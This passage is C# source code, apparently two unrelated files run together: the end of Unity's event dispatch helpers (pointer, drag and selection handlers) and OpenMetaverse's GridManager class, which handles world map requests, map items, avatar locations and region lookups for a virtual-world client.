handler.OnPointerClick(ValidateEventData<PointerEventData>(eventData)); } private static readonly EventFunction<IInitializePotentialDragHandler> s_InitializePotentialDragHandler = Execute; private static void Execute(IInitializePotentialDragHandler handler, BaseEventData eventData) { handler.OnInitializePotentialDrag(ValidateEventData<PointerEventData>(eventData)); } private static readonly EventFunction<IBeginDragHandler> s_BeginDragHandler = Execute; private static void Execute(IBeginDragHandler handler, BaseEventData eventData) { handler.OnBeginDrag(ValidateEventData<PointerEventData>(eventData)); } private static readonly EventFunction<IDragHandler> s_DragHandler = Execute; private static void Execute(IDragHandler handler, BaseEventData eventData) { handler.OnDrag(ValidateEventData<PointerEventData>(eventData)); } private static readonly EventFunction<IEndDragHandler> s_EndDragHandler = Execute; private static void Execute(IEndDragHandler handler, BaseEventData eventData) { handler.OnEndDrag(ValidateEventData<PointerEventData>(eventData)); } private static readonly EventFunction<IDropHandler> s_DropHandler = Execute; private static void Execute(IDropHandler handler, BaseEventData eventData) { handler.OnDrop(ValidateEventData<PointerEventData>(eventData)); } private static readonly EventFunction<IScrollHandler> s_ScrollHandler = Execute; private static void Execute(IScrollHandler handler, BaseEventData eventData) { handler.OnScroll(ValidateEventData<PointerEventData>(eventData)); } private static readonly EventFunction<IUpdateSelectedHandler> s_UpdateSelectedHandler = Execute; private static void Execute(IUpdateSelectedHandler handler, BaseEventData eventData) { handler.OnUpdateSelected(eventData); } private static readonly EventFunction<ISelectHandler> s_SelectHandler = Execute; private static void Execute(ISelectHandler handler, BaseEventData eventData) { handler.OnSelect(eventData); } private static readonly EventFunction<IDeselectHandler> s_DeselectHandler = Execute; private static void Execute(IDeselectHandler handler, BaseEventData eventData) { handler.OnDeselect(eventData); } private static readonly EventFunction<IMoveHandler> s_MoveHandler = Execute; private static void Execute(IMoveHandler handler, BaseEventData eventData) { handler.OnMove(ValidateEventData<AxisEventData>(eventData)); } private static readonly EventFunction<ISubmitHandler> s_SubmitHandler = Execute; private static void Execute(ISubmitHandler handler, BaseEventData eventData) { handler.OnSubmit(eventData); } private static readonly EventFunction<ICancelHandler> s_CancelHandler = Execute; private static void Execute(ICancelHandler handler, BaseEventData eventData) { handler.OnCancel(eventData); } #endregion #region Execution Accessors public static EventFunction<IPointerEnterHandler> pointerEnterHandler { get { return s_PointerEnterHandler; } } public static EventFunction<IPointerExitHandler> pointerExitHandler { get { return s_PointerExitHandler; } } public static EventFunction<IPointerDownHandler> pointerDownHandler { get { return s_PointerDownHandler; } } public static EventFunction<IPointerUpHandler> pointerUpHandler { get { return s_PointerUpHandler; } } public static EventFunction<IPointerClickHandler> pointerClickHandler { get { return s_PointerClickHandler; } } public static EventFunction<IInitializePotentialDragHandler> initializePotentialDrag { get { return s_InitializePotentialDragHandler; } } public static EventFunction<IBeginDragHandler> beginDragHandler { get { return s_BeginDragHandler; } } public static EventFunction<IDragHandler> dragHandler { get { return s_DragHandler; } } public static EventFunction<IEndDragHandler> endDragHandler { get { return s_EndDragHandler; } } public static EventFunction<IDropHandler> dropHandler { get { return s_DropHandler; } } public static EventFunction<IScrollHandler> scrollHandler { get { return s_ScrollHandler; } } public static EventFunction<IUpdateSelectedHandler> updateSelectedHandler { get { return s_UpdateSelectedHandler; } } public static EventFunction<ISelectHandler> selectHandler { get { return s_SelectHandler; } } public static EventFunction<IDeselectHandler> deselectHandler { get { return s_DeselectHandler; } } public static EventFunction<IMoveHandler> moveHandler { get { return s_MoveHandler; } } public static EventFunction<ISubmitHandler> submitHandler { get { return s_SubmitHandler; } } public static EventFunction<ICancelHandler> cancelHandler { get { return s_CancelHandler; } } #endregion private static void GetEventChain(GameObject root, IList<Transform> eventChain) { eventChain.Clear(); if (root == null) return; var t = root.transform; while (t != null) { eventChain.Add(t); t = t.parent; } } private static readonly ObjectPool<List<IEventSystemHandler>> s_HandlerListPool = new ObjectPool<List<IEventSystemHandler>>(null, l => l.Clear()); public static bool Execute<T>(GameObject target, BaseEventData eventData, EventFunction<T> functor) where T : IEventSystemHandler { var internalHandlers = s_HandlerListPool.Get(); GetEventList<T>(target, internalHandlers); // if (s_InternalHandlers.Count > 0) // Debug.Log("Executinng " + typeof (T) + " on " + target); for (var i = 0; i < internalHandlers.Count; i++) { T arg; try { arg = (T)internalHandlers[i]; } catch (Exception e) { var temp = internalHandlers[i]; Debug.LogException(new Exception(string.Format("Type {0} expected {1} received.", typeof(T).Name, temp.GetType().Name), e)); continue; } try { functor(arg, eventData); } catch (Exception e) { Debug.LogException(e); } } var handlerCount = internalHandlers.Count; s_HandlerListPool.Release(internalHandlers); return handlerCount > 0; } /// <summary> /// Execute the specified event on the first game object underneath the current touch. /// </summary> private static readonly List<Transform> s_InternalTransformList = new List<Transform>(30); public static GameObject ExecuteHierarchy<T>(GameObject root, BaseEventData eventData, EventFunction<T> callbackFunction) where T : IEventSystemHandler { GetEventChain(root, s_InternalTransformList); for (var i = 0; i < s_InternalTransformList.Count; i++) { var transform = s_InternalTransformList[i]; if (Execute(transform.gameObject, eventData, callbackFunction)) return transform.gameObject; } return null; } private static bool ShouldSendToComponent<T>(Component component) where T : IEventSystemHandler { var valid = component is T; if (!valid) return false; var behaviour = component as Behaviour; if (behaviour != null) return behaviour.isActiveAndEnabled; return true; } /// <summary> /// Get the specified object's event event. /// </summary> private static void GetEventList<T>(GameObject go, IList<IEventSystemHandler> results) where T : IEventSystemHandler { // Debug.LogWarning("GetEventList<" + typeof(T).Name + ">"); if (results == null) throw new ArgumentException("Results array is null", "results"); if (go == null || !go.activeInHierarchy) return; var components = ListPool<Component>.Get(); go.GetComponents(components); for (var i = 0; i < components.Count; i++) { if (!ShouldSendToComponent<T>(components[i])) continue; // Debug.Log(string.Format("{2} found! On {0}.{1}", go, s_GetComponentsScratch[i].GetType(), typeof(T))); results.Add(components[i] as IEventSystemHandler); } ListPool<Component>.Release(components); // Debug.LogWarning("end GetEventList<" + typeof(T).Name + ">"); } /// <summary> /// Whether the specified game object will be able to handle the specified event. /// </summary> public static bool CanHandleEvent<T>(GameObject go) where T : IEventSystemHandler { var internalHandlers = s_HandlerListPool.Get(); GetEventList<T>(go, internalHandlers); var handlerCount = internalHandlers.Count; s_HandlerListPool.Release(internalHandlers); return handlerCount != 0; } /// <summary> /// Bubble the specified event on the game object, figuring out which object will actually receive the event. /// </summary> public static GameObject GetEventHandler<T>(GameObject root) where T : IEventSystemHandler { if (root == null) return null; Transform t = root.transform; while (t != null) { if (CanHandleEvent<T>(t.gameObject)) return t.gameObject; t = t.parent; } return null; } } }
/* * Copyright (c) 2006-2016, openmetaverse.co * All rights reserved. * * - Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * - Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * - Neither the name of the openmetaverse.co nor the names * of its contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ using System; using System.Text; using System.Collections; using System.Collections.Generic; using System.Threading; using OpenMetaverse.StructuredData; using OpenMetaverse.Http; using OpenMetaverse.Packets; namespace OpenMetaverse { #region Enums /// <summary> /// Map layer request type /// </summary> public enum GridLayerType : uint { /// <summary>Objects and terrain are shown</summary> Objects = 0, /// <summary>Only the terrain is shown, no objects</summary> Terrain = 1, /// <summary>Overlay showing land for sale and for auction</summary> LandForSale = 2 } /// <summary> /// Type of grid item, such as telehub, event, populator location, etc. /// </summary> public enum GridItemType : uint { /// <summary>Telehub</summary> Telehub = 1, /// <summary>PG rated event</summary> PgEvent = 2, /// <summary>Mature rated event</summary> MatureEvent = 3, /// <summary>Popular location</summary> Popular = 4, /// <summary>Locations of avatar groups in a region</summary> AgentLocations = 6, /// <summary>Land for sale</summary> LandForSale = 7, /// <summary>Classified ad</summary> Classified = 8, /// <summary>Adult rated event</summary> AdultEvent = 9, /// <summary>Adult land for sale</summary> AdultLandForSale = 10 } #endregion Enums #region Structs /// <summary> /// Information about a region on the grid map /// </summary> public struct GridRegion { /// <summary>Sim X position on World Map</summary> public int X; /// <summary>Sim Y position on World Map</summary> public int Y; /// <summary>Sim Name (NOTE: In lowercase!)</summary> public string Name; /// <summary></summary> public SimAccess Access; /// <summary>Appears to always be zero (None)</summary> public RegionFlags RegionFlags; /// <summary>Sim's defined Water Height</summary> public byte WaterHeight; /// <summary></summary> public byte Agents; /// <summary>UUID of the World Map image</summary> public UUID MapImageID; /// <summary>Unique identifier for this region, a combination of the X /// and Y position</summary> public ulong RegionHandle; /// <summary> /// /// </summary> /// <returns></returns> public override string ToString() { return String.Format("{0} ({1}/{2}), Handle: {3}, MapImage: {4}, Access: {5}, Flags: {6}", Name, X, Y, RegionHandle, MapImageID, Access, RegionFlags); } /// <summary> /// /// </summary> /// <returns></returns> public override int GetHashCode() { return X.GetHashCode() ^ Y.GetHashCode(); } /// <summary> /// /// </summary> /// <param name="obj"></param> /// <returns></returns> public override bool Equals(object obj) { if (obj is GridRegion) return Equals((GridRegion)obj); else return false; } private bool Equals(GridRegion region) { return (this.X == region.X && this.Y == region.Y); } } /// <summary> /// Visual chunk of the grid map /// </summary> public struct GridLayer { public int Bottom; public int Left; public int Top; public int Right; public UUID ImageID; public bool ContainsRegion(int x, int y) { return (x >= Left && x <= Right && y >= Bottom && y <= Top); } } #endregion Structs #region Map Item Classes /// <summary> /// Base class for Map Items /// </summary> public abstract class MapItem { /// <summary>The Global X position of the item</summary> public uint GlobalX; /// <summary>The Global Y position of the item</summary> public uint GlobalY; /// <summary>Get the Local X position of the item</summary> public uint LocalX { get { return GlobalX % 256; } } /// <summary>Get the Local Y position of the item</summary> public uint LocalY { get { return GlobalY % 256; } } /// <summary>Get the Handle of the region</summary> public ulong RegionHandle { get { return Utils.UIntsToLong((uint)(GlobalX - (GlobalX % 256)), (uint)(GlobalY - (GlobalY % 256))); } } } /// <summary> /// Represents an agent or group of agents location /// </summary> public class MapAgentLocation : MapItem { public int AvatarCount; public string Identifier; } /// <summary> /// Represents a Telehub location /// </summary> public class MapTelehub : MapItem { } /// <summary> /// Represents a non-adult parcel of land for sale /// </summary> public class MapLandForSale : MapItem { public int Size; public int Price; public string Name; public UUID ID; } /// <summary> /// Represents an Adult parcel of land for sale /// </summary> public class MapAdultLandForSale : MapItem { public int Size; public int Price; public string Name; public UUID ID; } /// <summary> /// Represents a PG Event /// </summary> public class MapPGEvent : MapItem { public DirectoryManager.EventFlags Flags; // Extra public DirectoryManager.EventCategories Category; // Extra2 public string Description; } /// <summary> /// Represents a Mature event /// </summary> public class MapMatureEvent : MapItem { public DirectoryManager.EventFlags Flags; // Extra public DirectoryManager.EventCategories Category; // Extra2 public string Description; } /// <summary> /// Represents an Adult event /// </summary> public class MapAdultEvent : MapItem { public DirectoryManager.EventFlags Flags; // Extra public DirectoryManager.EventCategories Category; // Extra2 public string Description; } #endregion Grid Item Classes /// <summary> /// Manages grid-wide tasks such as the world map /// </summary> public class GridManager { #region Delegates /// <summary>The event subscribers. null if no subcribers</summary> private EventHandler<CoarseLocationUpdateEventArgs> m_CoarseLocationUpdate; /// <summary>Raises the CoarseLocationUpdate event</summary> /// <param name="e">A CoarseLocationUpdateEventArgs object containing the /// data sent by simulator</param> protected virtual void OnCoarseLocationUpdate(CoarseLocationUpdateEventArgs e) { EventHandler<CoarseLocationUpdateEventArgs> handler = m_CoarseLocationUpdate; if (handler != null) handler(this, e); } /// <summary>Thread sync lock object</summary> private readonly object m_CoarseLocationUpdateLock = new object(); /// <summary>Raised when the simulator sends a <see cref="CoarseLocationUpdatePacket"/> /// containing the location of agents in the simulator</summary> public event EventHandler<CoarseLocationUpdateEventArgs> CoarseLocationUpdate { add { lock (m_CoarseLocationUpdateLock) { m_CoarseLocationUpdate += value; } } remove { lock (m_CoarseLocationUpdateLock) { m_CoarseLocationUpdate -= value; } } } /// <summary>The event subscribers. null if no subcribers</summary> private EventHandler<GridRegionEventArgs> m_GridRegion; /// <summary>Raises the GridRegion event</summary> /// <param name="e">A GridRegionEventArgs object containing the /// data sent by simulator</param> protected virtual void OnGridRegion(GridRegionEventArgs e) { EventHandler<GridRegionEventArgs> handler = m_GridRegion; if (handler != null) handler(this, e); } /// <summary>Thread sync lock object</summary> private readonly object m_GridRegionLock = new object(); /// <summary>Raised when the simulator sends a Region Data in response to /// a Map request</summary> public event EventHandler<GridRegionEventArgs> GridRegion { add { lock (m_GridRegionLock) { m_GridRegion += value; } } remove { lock (m_GridRegionLock) { m_GridRegion -= value; } } } /// <summary>The event subscribers. null if no subcribers</summary> private EventHandler<GridLayerEventArgs> m_GridLayer; /// <summary>Raises the GridLayer event</summary> /// <param name="e">A GridLayerEventArgs object containing the /// data sent by simulator</param> protected virtual void OnGridLayer(GridLayerEventArgs e) { EventHandler<GridLayerEventArgs> handler = m_GridLayer; if (handler != null) handler(this, e); } /// <summary>Thread sync lock object</summary> private readonly object m_GridLayerLock = new object(); /// <summary>Raised when the simulator sends GridLayer object containing /// a map tile coordinates and texture information</summary> public event EventHandler<GridLayerEventArgs> GridLayer { add { lock (m_GridLayerLock) { m_GridLayer += value; } } remove { lock (m_GridLayerLock) { m_GridLayer -= value; } } } /// <summary>The event subscribers. null if no subcribers</summary> private EventHandler<GridItemsEventArgs> m_GridItems; /// <summary>Raises the GridItems event</summary> /// <param name="e">A GridItemEventArgs object containing the /// data sent by simulator</param> protected virtual void OnGridItems(GridItemsEventArgs e) { EventHandler<GridItemsEventArgs> handler = m_GridItems; if (handler != null) handler(this, e); } /// <summary>Thread sync lock object</summary> private readonly object m_GridItemsLock = new object(); /// <summary>Raised when the simulator sends GridItems object containing /// details on events, land sales at a specific location</summary> public event EventHandler<GridItemsEventArgs> GridItems { add { lock (m_GridItemsLock) { m_GridItems += value; } } remove { lock (m_GridItemsLock) { m_GridItems -= value; } } } /// <summary>The event subscribers. null if no subcribers</summary> private EventHandler<RegionHandleReplyEventArgs> m_RegionHandleReply; /// <summary>Raises the RegionHandleReply event</summary> /// <param name="e">A RegionHandleReplyEventArgs object containing the /// data sent by simulator</param> protected virtual void OnRegionHandleReply(RegionHandleReplyEventArgs e) { EventHandler<RegionHandleReplyEventArgs> handler = m_RegionHandleReply; if (handler != null) handler(this, e); } /// <summary>Thread sync lock object</summary> private readonly object m_RegionHandleReplyLock = new object(); /// <summary>Raised in response to a Region lookup</summary> public event EventHandler<RegionHandleReplyEventArgs> RegionHandleReply { add { lock (m_RegionHandleReplyLock) { m_RegionHandleReply += value; } } remove { lock (m_RegionHandleReplyLock) { m_RegionHandleReply -= value; } } } #endregion Delegates /// <summary>Unknown</summary> public float SunPhase { get { return sunPhase; } } /// <summary>Current direction of the sun</summary> public Vector3 SunDirection { get { return sunDirection; } } /// <summary>Current angular velocity of the sun</summary> public Vector3 SunAngVelocity { get { return sunAngVelocity; } } /// <summary>Microseconds since the start of SL 4-hour day</summary> public ulong TimeOfDay { get { return timeOfDay; } } /// <summary>A dictionary of all the regions, indexed by region name</summary> internal Dictionary<string, GridRegion> Regions = new Dictionary<string, GridRegion>(); /// <summary>A dictionary of all the regions, indexed by region handle</summary> internal Dictionary<ulong, GridRegion> RegionsByHandle = new Dictionary<ulong, GridRegion>(); private GridClient Client; private float sunPhase; private Vector3 sunDirection; private Vector3 sunAngVelocity; private ulong timeOfDay; /// <summary> /// Constructor /// </summary> /// <param name="client">Instance of GridClient object to associate with this GridManager instance</param> public GridManager(GridClient client) { Client = client; //Client.Network.RegisterCallback(PacketType.MapLayerReply, MapLayerReplyHandler); Client.Network.RegisterCallback(PacketType.MapBlockReply, MapBlockReplyHandler); Client.Network.RegisterCallback(PacketType.MapItemReply, MapItemReplyHandler); Client.Network.RegisterCallback(PacketType.SimulatorViewerTimeMessage, SimulatorViewerTimeMessageHandler); Client.Network.RegisterCallback(PacketType.CoarseLocationUpdate, CoarseLocationHandler, false); Client.Network.RegisterCallback(PacketType.RegionIDAndHandleReply, RegionHandleReplyHandler); } /// <summary> /// /// </summary> /// <param name="layer"></param> public void RequestMapLayer(GridLayerType layer) { Uri url = Client.Network.CurrentSim.Caps.CapabilityURI("MapLayer"); if (url != null) { OSDMap body = new OSDMap(); body["Flags"] = OSD.FromInteger((int)layer); CapsClient request = new CapsClient(url); request.OnComplete += new CapsClient.CompleteCallback(MapLayerResponseHandler); request.BeginGetResponse(body, OSDFormat.Xml, Client.Settings.CAPS_TIMEOUT); } } /// <summary> /// Request a map layer /// </summary> /// <param name="regionName">The name of the region</param> /// <param name="layer">The type of layer</param> public void RequestMapRegion(string regionName, GridLayerType layer) { MapNameRequestPacket request = new MapNameRequestPacket(); request.AgentData.AgentID = Client.Self.AgentID; request.AgentData.SessionID = Client.Self.SessionID; request.AgentData.Flags = (uint)layer; request.AgentData.EstateID = 0; // Filled in on the sim request.AgentData.Godlike = false; // Filled in on the sim request.NameData.Name = Utils.StringToBytes(regionName); Client.Network.SendPacket(request); } /// <summary> /// /// </summary> /// <param name="layer"></param> /// <param name="minX"></param> /// <param name="minY"></param> /// <param name="maxX"></param> /// <param name="maxY"></param> /// <param name="returnNonExistent"></param> public void RequestMapBlocks(GridLayerType layer, ushort minX, ushort minY, ushort maxX, ushort maxY, bool returnNonExistent) { MapBlockRequestPacket request = new MapBlockRequestPacket(); request.AgentData.AgentID = Client.Self.AgentID; request.AgentData.SessionID = Client.Self.SessionID; request.AgentData.Flags = (uint)layer; request.AgentData.Flags |= (uint)(returnNonExistent ? 0x10000 : 0); request.AgentData.EstateID = 0; // Filled in at the simulator request.AgentData.Godlike = false; // Filled in at the simulator request.PositionData.MinX = minX; request.PositionData.MinY = minY; request.PositionData.MaxX = maxX; request.PositionData.MaxY = maxY; Client.Network.SendPacket(request); } /// <summary> /// /// </summary> /// <param name="regionHandle"></param> /// <param name="item"></param> /// <param name="layer"></param> /// <param name="timeoutMS"></param> /// <returns></returns> public List<MapItem> MapItems(ulong regionHandle, GridItemType item, GridLayerType layer, int timeoutMS) { List<MapItem> itemList = null; AutoResetEvent itemsEvent = new AutoResetEvent(false); EventHandler<GridItemsEventArgs> callback = delegate(object sender, GridItemsEventArgs e) { if (e.Type == GridItemType.AgentLocations) { itemList = e.Items; itemsEvent.Set(); } }; GridItems += callback; RequestMapItems(regionHandle, item, layer); itemsEvent.WaitOne(timeoutMS, false); GridItems -= callback; return itemList; } /// <summary> /// /// </summary> /// <param name="regionHandle"></param> /// <param name="item"></param> /// <param name="layer"></param> public void RequestMapItems(ulong regionHandle, GridItemType item, GridLayerType layer) { MapItemRequestPacket request = new MapItemRequestPacket(); request.AgentData.AgentID = Client.Self.AgentID; request.AgentData.SessionID = Client.Self.SessionID; request.AgentData.Flags = (uint)layer; request.AgentData.Godlike = false; // Filled in on the sim request.AgentData.EstateID = 0; // Filled in on the sim request.RequestData.ItemType = (uint)item; request.RequestData.RegionHandle = regionHandle; Client.Network.SendPacket(request); } /// <summary> /// Request data for all mainland (Linden managed) simulators /// </summary> public void RequestMainlandSims(GridLayerType layer) { RequestMapBlocks(layer, 0, 0, 65535, 65535, false); } /// <summary> /// Request the region handle for the specified region UUID /// </summary> /// <param name="regionID">UUID of the region to look up</param> public void RequestRegionHandle(UUID regionID) { RegionHandleRequestPacket request = new RegionHandleRequestPacket(); request.RequestBlock = new RegionHandleRequestPacket.RequestBlockBlock(); request.RequestBlock.RegionID = regionID; Client.Network.SendPacket(request); } /// <summary> /// Get grid region information using the region name, this function /// will block until it can find the region or gives up /// </summary> /// <param name="name">Name of sim you're looking for</param> /// <param name="layer">Layer that you are requesting</param> /// <param name="region">Will contain a GridRegion for the sim you're /// looking for if successful, otherwise an empty structure</param> /// <returns>True if the GridRegion was successfully fetched, otherwise /// false</returns> public bool GetGridRegion(string name, GridLayerType layer, out GridRegion region) { if (String.IsNullOrEmpty(name)) { Logger.Log("GetGridRegion called with a null or empty region name", Helpers.LogLevel.Error, Client); region = new GridRegion(); return false; } if (Regions.ContainsKey(name)) { // We already have this GridRegion structure region = Regions[name]; return true; } else { AutoResetEvent regionEvent = new AutoResetEvent(false); EventHandler<GridRegionEventArgs> callback = delegate(object sender, GridRegionEventArgs e) { if (e.Region.Name == name) regionEvent.Set(); }; GridRegion += callback; RequestMapRegion(name, layer); regionEvent.WaitOne(Client.Settings.MAP_REQUEST_TIMEOUT, false); GridRegion -= callback; if (Regions.ContainsKey(name)) { // The region was found after our request region = Regions[name]; return true; } else { Logger.Log("Couldn't find region " + name, Helpers.LogLevel.Warning, Client); region = new GridRegion(); return false; } } } protected void MapLayerResponseHandler(CapsClient client, OSD result, Exception error) { if (result == null) { Logger.Log("MapLayerResponseHandler error: " + error.Message + ": " + error.StackTrace, Helpers.LogLevel.Error, Client); return; } OSDMap body = (OSDMap)result; OSDArray layerData = (OSDArray)body["LayerData"]; if (m_GridLayer != null) { for (int i = 0; i < layerData.Count; i++) { OSDMap thisLayerData = (OSDMap)layerData[i]; GridLayer layer; layer.Bottom = thisLayerData["Bottom"].AsInteger(); layer.Left = thisLayerData["Left"].AsInteger(); layer.Top = thisLayerData["Top"].AsInteger(); layer.Right = thisLayerData["Right"].AsInteger(); layer.ImageID = thisLayerData["ImageID"].AsUUID(); OnGridLayer(new GridLayerEventArgs(layer)); } } if (body.ContainsKey("MapBlocks")) { // TODO: At one point this will become activated Logger.Log("Got MapBlocks through CAPS, please finish this function!", Helpers.LogLevel.Error, Client); } } /// <summary>Process an incoming packet and raise the appropriate events</summary> /// <param name="sender">The sender</param> /// <param name="e">The EventArgs object containing the packet data</param> protected void MapBlockReplyHandler(object sender, PacketReceivedEventArgs e) { MapBlockReplyPacket map = (MapBlockReplyPacket)e.Packet; foreach (MapBlockReplyPacket.DataBlock block in map.Data) { if (block.X != 0 || block.Y != 0) { GridRegion region; region.X = block.X; region.Y = block.Y; region.Name = Utils.BytesToString(block.Name); // RegionFlags seems to always be zero here? region.RegionFlags = (RegionFlags)block.RegionFlags; region.WaterHeight = block.WaterHeight; region.Agents = block.Agents; region.Access = (SimAccess)block.Access; region.MapImageID = block.MapImageID; region.RegionHandle = Utils.UIntsToLong((uint)(region.X * 256), (uint)(region.Y * 256)); lock (Regions) { Regions[region.Name] = region; RegionsByHandle[region.RegionHandle] = region; } if (m_GridRegion != null) { OnGridRegion(new GridRegionEventArgs(region)); } } } } /// <summary>Process an incoming packet and raise the appropriate events</summary> /// <param name="sender">The sender</param> /// <param name="e">The EventArgs object containing the packet data</param> protected void MapItemReplyHandler(object sender, PacketReceivedEventArgs e) { if (m_GridItems != null) { MapItemReplyPacket reply = (MapItemReplyPacket)e.Packet; GridItemType type = (GridItemType)reply.RequestData.ItemType; List<MapItem> items = new List<MapItem>(); for (int i = 0; i < reply.Data.Length; i++) { string name = Utils.BytesToString(reply.Data[i].Name); switch (type) { case GridItemType.AgentLocations: MapAgentLocation location = new MapAgentLocation(); location.GlobalX = reply.Data[i].X; location.GlobalY = reply.Data[i].Y; location.Identifier = name; location.AvatarCount = reply.Data[i].Extra; items.Add(location); break; case GridItemType.Classified: //FIXME: Logger.Log("FIXME", Helpers.LogLevel.Error, Client); break; case GridItemType.LandForSale: MapLandForSale landsale = new MapLandForSale(); landsale.GlobalX = reply.Data[i].X; landsale.GlobalY = reply.Data[i].Y; landsale.ID = reply.Data[i].ID; landsale.Name = name; landsale.Size = reply.Data[i].Extra; landsale.Price = reply.Data[i].Extra2; items.Add(landsale); break; case GridItemType.MatureEvent: MapMatureEvent matureEvent = new MapMatureEvent(); matureEvent.GlobalX = reply.Data[i].X; matureEvent.GlobalY = reply.Data[i].Y; matureEvent.Description = name; matureEvent.Flags = (DirectoryManager.EventFlags)reply.Data[i].Extra2; items.Add(matureEvent); break; case GridItemType.PgEvent: MapPGEvent PGEvent = new MapPGEvent(); PGEvent.GlobalX = reply.Data[i].X; PGEvent.GlobalY = reply.Data[i].Y; PGEvent.Description = name; PGEvent.Flags = (DirectoryManager.EventFlags)reply.Data[i].Extra2; items.Add(PGEvent); break; case GridItemType.Popular: //FIXME: Logger.Log("FIXME", Helpers.LogLevel.Error, Client); break; case GridItemType.Telehub: MapTelehub teleHubItem = new MapTelehub(); teleHubItem.GlobalX = reply.Data[i].X; teleHubItem.GlobalY = reply.Data[i].Y; items.Add(teleHubItem); break; case GridItemType.AdultLandForSale: MapAdultLandForSale adultLandsale = new MapAdultLandForSale(); adultLandsale.GlobalX = reply.Data[i].X; adultLandsale.GlobalY = reply.Data[i].Y; adultLandsale.ID = reply.Data[i].ID; adultLandsale.Name = name; adultLandsale.Size = reply.Data[i].Extra; adultLandsale.Price = reply.Data[i].Extra2; items.Add(adultLandsale); break; case GridItemType.AdultEvent: MapAdultEvent adultEvent = new MapAdultEvent(); adultEvent.GlobalX = reply.Data[i].X; adultEvent.GlobalY = reply.Data[i].Y; adultEvent.Description = Utils.BytesToString(reply.Data[i].Name); adultEvent.Flags = (DirectoryManager.EventFlags)reply.Data[i].Extra2; items.Add(adultEvent); break; default: Logger.Log("Unknown map item type " + type, Helpers.LogLevel.Warning, Client); break; } } OnGridItems(new GridItemsEventArgs(type, items)); } } /// <summary>Process an incoming packet and raise the appropriate events</summary> /// <param name="sender">The sender</param> /// <param name="e">The EventArgs object containing the packet data</param> protected void SimulatorViewerTimeMessageHandler(object sender, PacketReceivedEventArgs e) { SimulatorViewerTimeMessagePacket time = (SimulatorViewerTimeMessagePacket)e.Packet; sunPhase = time.TimeInfo.SunPhase; sunDirection = time.TimeInfo.SunDirection; sunAngVelocity = time.TimeInfo.SunAngVelocity; timeOfDay = time.TimeInfo.UsecSinceStart; // TODO: Does anyone have a use for the time stuff? } /// <summary>Process an incoming packet and raise the appropriate events</summary> /// <param name="sender">The sender</param> /// <param name="e">The EventArgs object containing the packet data</param> protected void CoarseLocationHandler(object sender, PacketReceivedEventArgs e) { CoarseLocationUpdatePacket coarse = (CoarseLocationUpdatePacket)e.Packet; // populate a dictionary from the packet, for local use Dictionary<UUID, Vector3> coarseEntries = new Dictionary<UUID, Vector3>(); for (int i = 0; i < coarse.AgentData.Length; i++) { if(coarse.Location.Length > 0) coarseEntries[coarse.AgentData[i].AgentID] = new Vector3((int)coarse.Location[i].X, (int)coarse.Location[i].Y, (int)coarse.Location[i].Z * 4); // the friend we are tracking on radar if (i == coarse.Index.Prey) e.Simulator.preyID = coarse.AgentData[i].AgentID; } // find stale entries (people who left the sim) List<UUID> removedEntries = e.Simulator.avatarPositions.FindAll(delegate(UUID findID) { return !coarseEntries.ContainsKey(findID); }); // anyone who was not listed in the previous update List<UUID> newEntries = new List<UUID>(); lock (e.Simulator.avatarPositions.Dictionary) { // remove stale entries foreach(UUID trackedID in removedEntries) e.Simulator.avatarPositions.Dictionary.Remove(trackedID); // add or update tracked info, and record who is new foreach (KeyValuePair<UUID, Vector3> entry in coarseEntries) { if (!e.Simulator.avatarPositions.Dictionary.ContainsKey(entry.Key)) newEntries.Add(entry.Key); e.Simulator.avatarPositions.Dictionary[entry.Key] = entry.Value; } } if (m_CoarseLocationUpdate != null) { WorkPool.QueueUserWorkItem(delegate(object o) { OnCoarseLocationUpdate(new CoarseLocationUpdateEventArgs(e.Simulator, newEntries, removedEntries)); }); } } /// <summary>Process an incoming packet and raise the appropriate events</summary> /// <param name="sender">The sender</param> /// <param name="e">The EventArgs object containing the packet data</param> protected void RegionHandleReplyHandler(object sender, PacketReceivedEventArgs e) { if (m_RegionHandleReply != null) { RegionIDAndHandleReplyPacket reply = (RegionIDAndHandleReplyPacket)e.Packet; OnRegionHandleReply(new RegionHandleReplyEventArgs(reply.ReplyBlock.RegionID, reply.ReplyBlock.RegionHandle)); } } } #region EventArgs classes public class CoarseLocationUpdateEventArgs : EventArgs { private readonly Simulator m_Simulator; private readonly List<UUID> m_NewEntries; private readonly List<UUID> m_RemovedEntries; public Simulator Simulator { get { return m_Simulator; } } public List<UUID> NewEntries { get { return m_NewEntries; } } public List<UUID> RemovedEntries { get { return m_RemovedEntries; } } public CoarseLocationUpdateEventArgs(Simulator simulator, List<UUID> newEntries, List<UUID> removedEntries) { this.m_Simulator = simulator; this.m_NewEntries = newEntries; this.m_RemovedEntries = removedEntries; } } public class GridRegionEventArgs : EventArgs { private readonly GridRegion m_Region; public GridRegion Region { get { return m_Region; } } public GridRegionEventArgs(GridRegion region) { this.m_Region = region; } } public class GridLayerEventArgs : EventArgs { private readonly GridLayer m_Layer; public GridLayer Layer { get { return m_Layer; } } public GridLayerEventArgs(GridLayer layer) { this.m_Layer = layer; } } public class GridItemsEventArgs : EventArgs { private readonly GridItemType m_Type; private readonly List<MapItem> m_Items; public GridItemType Type { get { return m_Type; } } public List<MapItem> Items { get { return m_Items; } } public GridItemsEventArgs(GridItemType type, List<MapItem> items) { this.m_Type = type; this.m_Items = items; } } public class RegionHandleReplyEventArgs : EventArgs { private readonly UUID m_RegionID; private readonly 